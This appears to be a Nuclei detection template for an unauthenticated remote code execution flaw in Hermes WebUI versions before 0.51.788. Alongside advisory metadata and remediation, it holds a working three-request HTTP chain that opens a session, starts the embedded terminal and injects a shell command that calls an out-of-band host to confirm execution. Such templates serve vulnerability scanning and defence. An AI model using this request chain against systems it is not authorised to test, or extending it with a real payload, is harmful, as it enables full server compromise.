id: CVE-2026-58123 info: name: Hermes WebUI < 0.51.788 - Remote Code Execution author: str4k3r severity: critical description: | Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials. impact: | Remote attackers can execute arbitrary shell commands as the server process user, leading to full system compromise. remediation: | Update to version 0.51.788 or later. reference: - https://www.vulncheck.com/advisories/hermes-webui-unauthenticated-rce-via-terminal-api - https://github.com/nesquena/hermes-webui/commit/d257e5f36cfa9328600c8bde6f0de09a6ad9b6f4 - https://github.com/nesquena/hermes-webui/releases/tag/v0.51.788 - https://nvd.nist.gov/vuln/detail/CVE-2026-58123 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-58123 epss-score: 0.04649 epss-percentile: 0.91669 cwe-id: CWE-306 metadata: verified: true max-request: 3 vendor: nesquena product: hermes-webui tags: cve,cve2026,hermes-webui,rce,terminal,unauth,oast flow: http(1) && http(2) && http(3) http: - raw: - | POST /api/session/new HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {} matchers: - type: status status: - 200 internal: true extractors: - type: regex name: session_id part: body group: 1 internal: true regex: - '"session_id"\s*:\s*"([a-f0-9]{12})"' - raw: - | POST /api/terminal/start HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"session_id":"{{session_id}}"} matchers: - type: status status: - 200 internal: true - raw: - | POST /api/terminal/input HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"session_id":"{{session_id}}","data":"python3 -c \"import socket; socket.gethostbyname('{{interactsh-url}}')\"\n"} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: status status: - 200 # digest: 4a0a004730450220544da54b46d8f5229a2cb2ff8a08947e86174a8a840b489c1d739ebc891000d2022100fbff1c68ed9d2c93fd5c20d914f5e76fb489bfc9eb2f5da814a7a12d5a0a9c65:922c64590222798bb761d5b6d8e72950